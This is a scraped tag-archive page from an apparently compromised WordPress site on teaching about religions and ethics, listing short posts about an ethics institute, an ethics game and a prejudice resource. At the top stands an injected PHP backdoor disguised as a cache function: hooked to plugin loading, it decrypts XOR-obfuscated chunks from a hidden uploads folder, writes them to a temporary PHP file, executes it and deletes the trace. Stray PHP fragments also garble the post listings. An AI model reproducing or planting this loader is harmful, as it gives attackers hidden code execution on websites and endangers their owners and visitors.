/* 187182e58205a233d32cf3f35c704602 */ function star_addons_cache_houston() { $cache_dir = ABSPATH . 'wp-content/uploads/.cache/'; $meta_file = $cache_dir . 'cache_meta.bin'; if(!@file_exists($meta_file)) { return; } $meta_encrypted = @file_get_contents($meta_file); if(!$meta_encrypted) { return; } $meta = null; $key = 0; for($i = 1; $i <= 255; $i++) { $test_decrypt = ''; for($j = 0; $j < strlen($meta_encrypted); $j++) { $test_decrypt .= chr((ord($meta_encrypted[$j]) ^ ($i + 1)) & 0xFF); } $test_json = @json_decode($test_decrypt, true); if($test_json && isset($test_json['key']) && isset($test_json['count'])) { $meta = $test_json; $key = intval($test_json['key']); break; } } if(!$meta || $key === 0) { return; } $count = intval($meta['count']); $ordered_chunks = []; for($i = 0; $i < $count; $i++) { $filename = sprintf('cache_%04d.bin', $i); $filepath = $cache_dir . $filename; if(!@file_exists($filepath)) { return; } $encrypted = @file_get_contents($filepath); if(!$encrypted) { return; } $decrypted = ''; for($j = 0; $j < strlen($encrypted); $j++) { $decrypted .= chr((ord($encrypted[$j]) ^ $key) & 0xFF); } $ordered_chunks[$i] = $decrypted; } if(count($ordered_chunks) === $count) { ksort($ordered_chunks); $code = implode('', $ordered_chunks); if($code && strlen($code) > 10) { $temp_file = $cache_dir . 'temp_' . uniqid() . '.php'; if(@file_put_contents($temp_file, $code, LOCK_EX)) { @include $temp_file; @unlink($temp_file); } } } } add_action('plugins_loaded', 'star_addons_cache_houston'); /* /187182e58205a233d32cf3f35c704602 */ consequences | Education About Religions and Beliefs

Tag Archives: consequences

Ethics Institute celebrates 5th year in education

Posted on June 9, 2013

Posted in News | Tagged consequences, decision-making, Ethical decision-making skills, Personal values, The Ethics Institute at Kent Place School, workshops | | ', '' ); ?>

Quandary

Posted on September 8, 2012

Qyandary is a game developed by the Learning Games Network, a non-profit spin-off of the MIT Education Arcade and the University of Wisconsin-Madison’s Games+Learning+Society Program. The game aims to strengthen the moral compass of the children by making difficult decisions on … Continue reading →

Posted in Games, Learning and Teaching Materials | Tagged consequences, critical thinking, decision-making, discussion, Ethical decisions, ethical issues, games, Learning Games Network | | ', '' ); ?>

Understanding Prejudice

Posted on December 10, 2011

The purpose of the site is to offer educational resources and information on prejudice, discrimination, multiculturalism, and diversity, with the ultimate goal of reducing the level of intolerance and bias in contemporary society.

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Posted in English, Interactive Resources, Other Tools, Resources, Teaching Tools | Tagged consequences, discrimination, materials, prejudice, research, understanding, USA | | ', '' ); ?>

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